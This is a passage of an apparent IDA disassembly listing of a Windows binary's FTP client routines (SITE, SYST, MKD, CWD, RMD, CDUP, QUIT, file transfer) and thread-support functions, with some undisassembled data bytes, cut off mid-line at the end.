___:0042E0D0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax call near ptr 77C3F931h loc_42E0E9: ; CODE XREF: ___:0042E070j nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E130: ; CODE XREF: ___:004016C2j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E151 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E151: ; CODE XREF: ___:0042E14Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42E16C loc_42E15F: ; CODE XREF: ___:0042E16Aj mov al, [ecx] cmp al, 20h jz short loc_42E16C mov [esi], al inc esi inc ecx dec edx jnz short loc_42E15F loc_42E16C: ; CODE XREF: ___:0042E15Dj ; ___:0042E163j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E1A0: ; CODE XREF: ___:0040224Dj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E1C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E1C9: ; CODE XREF: ___:0042E1C0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E220: ; CODE XREF: ___:0040225Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E249 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E249: ; CODE XREF: ___:0042E240j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2A0: ; CODE XREF: ___:00401780j mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42D1A0 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2D0: ; CODE XREF: ___:004021FDj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E2F9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E2F9: ; CODE XREF: ___:0042E2F0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E350: ; CODE XREF: ___:0040166Dj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_4456BC call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E371 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E371: ; CODE XREF: ___:0042E36Cj add edi, 44h push 22h push edi nop call near ptr 77C47660h add esp, 8 test eax, eax jnz short loc_42E387 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E387: ; CODE XREF: ___:0042E382j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42E3A5 loc_42E393: ; CODE XREF: ___:0042E3A3j mov cl, [eax] test cl, cl jz short loc_42E3A5 cmp cl, 22h jz short loc_42E3A5 mov [esi], cl inc esi inc eax dec edx jnz short loc_42E393 loc_42E3A5: ; CODE XREF: ___:0042E391j ; ___:0042E397j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E3D0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E400 proc near ; CODE XREF: ___:0042E3E3p ; ___:0042E663p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42E48A mov esi, [esp+14h+arg_C] mov cx, word_4456FC cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42E43A mov byte ptr [esp+14h+arg_10], 72h loc_42E43A: ; CODE XREF: sub_42E400+33j cmp edi, 49h jnz short loc_42E444 mov byte ptr [esp+14h+arg_10+1], 62h loc_42E444: ; CODE XREF: sub_42E400+3Dj lea edx, [esp+14h+arg_10] push edx push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42E4A4 push 100h nop call near ptr 77C1F2BCh mov eax, [eax] push eax nop call near ptr 77C371FAh mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx nop call near ptr 77C47A90h add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E48A: ; CODE XREF: sub_42E400+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42E49B mov ebx, dword_50FA84 jmp short loc_42E4A4 ; --------------------------------------------------------------------------- loc_42E49B: ; CODE XREF: sub_42E400+91j mov edx, dword_50FA84 lea ebx, [edx+20h] loc_42E4A4: ; CODE XREF: sub_42E400+57j ; sub_42E400+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F55 add esp, 14h test eax, eax jnz short loc_42E4C7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E4C7: ; CODE XREF: sub_42E400+BFj push 2000h nop call near ptr 77C2C407h add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42E53D mov ebp, dword_50FAA4 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jle loc_42E593 loc_42E4FA: ; CODE XREF: sub_42E400+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_4021F3 add esp, 0Ch cmp eax, esi jl short loc_42E523 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jg short loc_42E4FA jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E523: ; CODE XREF: sub_42E400+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" call near ptr 77C4186Ah nop add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E53D: ; CODE XREF: sub_42E400+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jle short loc_42E593 mov esi, dword_50FA94 loc_42E55A: ; CODE XREF: sub_42E400+17Dj push ebx push eax push 1 push edi call esi ; fwrite add esp, 10h test eax, eax jbe short loc_42E581 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jg short loc_42E55A jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E581: ; CODE XREF: sub_42E400+166j push offset aLocalfileWrite ; "localfile write" call near ptr 77C36DF2h nop add esp, 4 mov [esp+14h+var_4], ebp loc_42E593: ; CODE XREF: sub_42E400+F4j ; sub_42E400+121j ... push edi nop call near ptr 77C2C21Bh push ebx nop call near ptr 77C3EEF6h mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42E5B6 push ebx call near ptr 77C40AB1h nop add esp, 4 loc_42E5B6: ; CODE XREF: sub_42E400+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BDB mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42E400 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E650: ; CODE XREF: ___:0040169Fj mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E680: ; CODE XREF: ___:00401D2Fj sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42E6B7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6B7: ; CODE XREF: ___:0042E6AAj movsx eax, byte ptr [esp+124h] mov edi, dword_50FA60 push eax lea ecx, [esp+1Ch] push offset dword_445504 push ecx call edi ; sprintf mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E6F8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6F8: ; CODE XREF: ___:0042E6EBj push ebx lea eax, [esp+1Ch] push offset dword_445708 push eax call edi ; sprintf push esi lea ecx, [esp+28h] push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E754 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_445700 push esi call near ptr 77C41B72h nop add esp, 10h cmp eax, 2 jnz short loc_42E754 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E754: ; CODE XREF: ___:0042E717j ; ___:0042E738j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E7B0: ; CODE XREF: ___:004013BBj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42E7E0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7E0: ; CODE XREF: ___:0042E7D5j push esi push edx lea eax, [esp+10h] push offset dword_445714 push eax call near ptr 77C3F931h nop mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E81B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E81B: ; CODE XREF: ___:0042E80Bj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E880 proc near ; CODE XREF: sub_4016A9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42E400 add esp, 14h retn sub_42E880 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8B0: ; CODE XREF: ___:004016C7j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8E0: ; CODE XREF: ___:00401492j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov esi, dword_50FA60 push edx lea eax, [esp+10h] push offset dword_44572C push eax call esi ; sprintf mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E979 push ebx lea edx, [esp+10h] push offset dword_445720 push edx call esi ; sprintf push edi lea eax, [esp+1Ch] push 32h push eax call sub_42D1A0 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E979: ; CODE XREF: ___:0042E901j ; ___:0042E91Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E9C0: ; CODE XREF: ___:00401C67j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E9E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: ___:0042E9E0j push edx lea eax, [esp+4] push offset dword_445738 push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42EA40 proc near ; CODE XREF: sub_401D52j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42EA79 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42D1A0 mov eax, [esi+8] add esp, 0Ch push eax call sub_436F06 ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_50FAC4 push ecx call edi ; free push esi call edi ; free add esp, 8 pop edi loc_42EA79: ; CODE XREF: sub_42EA40+Aj pop esi retn sub_42EA40 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EA90: ; CODE XREF: ___:0040219Ej push edi mov edi, [esp+8] test edi, edi jnz short loc_42EAA0 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42EAA0: ; CODE XREF: ___:0042EA97j push 1Ch nop call near ptr 77C2C407h add esp, 4 test eax, eax jnz short loc_42EAB6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42EAB6: ; CODE XREF: ___:0042EAADj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB10: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EB29 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EB29: ; CODE XREF: ___:0042EB20j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB60: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42EB85 test eax, eax jz short loc_42EB85 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42EB85: ; CODE XREF: ___:0042EB74j ; ___:0042EB78j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EBB0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EBC9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBC9: ; CODE XREF: ___:0042EBC0j mov eax, [esp+0Ch] test eax, eax jz short loc_42EBDD cmp eax, 1 jz short loc_42EBDD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBDD: ; CODE XREF: ___:0042EBCFj ; ___:0042EBD4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC00: ; CODE XREF: ___:0040150Fj mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC20: ; CODE XREF: ___:00401825j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC40: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC59 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC59: ; CODE XREF: ___:0042EC50j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC80: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC99 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC99: ; CODE XREF: ___:0042EC90j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECC0: ; CODE XREF: ___:004019A1j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECF0: ; CODE XREF: ___:0040199Cj mov eax, [esp+8] sub eax, 0 jz short loc_42ED12 dec eax jz short loc_42ED02 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42ED02: ; CODE XREF: ___:0042ECFAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_42ED12: ; CODE XREF: ___:0042ECF7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ED30: ; CODE XREF: ___:00401C08j push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_42EDCB mov edi, [esp+18h] test edi, edi jz loc_42EDCB push 18h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_42EDC2 mov eax, [esp+14h] test eax, eax jz short loc_42ED70 mov eax, [eax] test eax, eax jz short loc_42ED70 mov eax, [eax] jmp short loc_42ED72 ; --------------------------------------------------------------------------- loc_42ED70: ; CODE XREF: ___:0042ED64j ; ___:0042ED6Aj xor eax, eax loc_42ED72: ; CODE XREF: ___:0042ED6Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDB8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDAF mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42EDAF: ; CODE XREF: ___:0042EDA7j push edi call sub_401686 add esp, 4 loc_42EDB8: ; CODE XREF: ___:0042ED92j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_42EDC2: ; CODE XREF: ___:0042ED5Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_42EDCB: ; CODE XREF: ___:0042ED39j ; ___:0042ED45j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EE10: ; CODE XREF: ___:004021E9j push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_42EE78 mov esi, [ebp+0] test esi, esi jz short loc_42EE78 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE6E lea eax, [esi+14h] push eax call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE5F push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE5F: ; CODE XREF: ___:0042EE4Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C76 add esp, 0Ch loc_42EE6E: ; CODE XREF: ___:0042EE3Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE78: ; CODE XREF: ___:0042EE1Aj ; ___:0042EE21j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EEB0: ; CODE XREF: ___:00401799j mov eax, [esp+4] push esi test eax, eax jz loc_42EF64 mov esi, [eax] test esi, esi jz loc_42EF64 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] nop call near ptr 275072Fh test eax, eax jnz short loc_42EEF7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_42EF44 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_40204A add esp, 8 mov esi, eax jmp short loc_42EF40 ; --------------------------------------------------------------------------- loc_42EEF7: ; CODE XREF: ___:0042EED8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_42EF1B lea ecx, [esp+14h] push ecx push ebx call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_42EF1D loc_42EF1B: ; CODE XREF: ___:0042EF07j xor ebx, ebx loc_42EF1D: ; CODE XREF: ___:0042EF19j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_42EF40 mov eax, [esp+10h] push 0 push eax call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 loc_42EF40: ; CODE XREF: ___:0042EEF5j ; ___:0042EF2Fj test esi, esi jnz short loc_42EF5E loc_42EF44: ; CODE XREF: ___:0042EEE2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_50E3FC ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_42EF5E: ; CODE XREF: ___:0042EF42j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_42EF64: ; CODE XREF: ___:0042EEB7j ; ___:0042EEC1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFA0: ; CODE XREF: ___:00401F50j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_42EFC3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42EFC3: ; CODE XREF: ___:0042EFB2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFF0: ; CODE XREF: ___:00401A73j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_42F011 mov eax, [ecx] test eax, eax jz short loc_42F011 push eax mov [ecx], esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F011: ; CODE XREF: ___:0042EFF9j ; ___:0042EFFFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F030: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_42F04D mov eax, [eax] test eax, eax jz short loc_42F04D mov ecx, [esp+8] test ecx, ecx jz short loc_42F04D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F04D: ; CODE XREF: ___:0042F036j ; ___:0042F03Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F070: ; CODE XREF: ___:0040162Cj mov eax, [esp+4] test eax, eax jz short loc_42F09A mov ecx, [eax] test ecx, ecx jz short loc_42F09A mov eax, [esp+8] cmp eax, 1 jz short loc_42F08E test eax, eax jnz short loc_42F09A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F08E: ; CODE XREF: ___:0042F085j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F09A: ; CODE XREF: ___:0042F076j ; ___:0042F07Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F0B0 proc near ; CODE XREF: sub_40140Bj push esi push edi call sub_4012E4 sub_42F0B0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 90525738h, 321358E8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 0E8000000h, 2321487h, 0A4E85390h dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h, 83FFFD1Fh dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F170: ; CODE XREF: ___:0040223Ej push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 0E8525338h, 2321299h, 75C08590h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 3213C6E8h, 0E4E85702h dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F230 proc near ; CODE XREF: sub_401CEEj push esi push edi call sub_4012E4 sub_42F230 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 0FAE89050h, 85023211h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F2B0: ; CODE XREF: ___:00401D25j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401758 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_42F3E9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42F2EB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F2EB: ; CODE XREF: 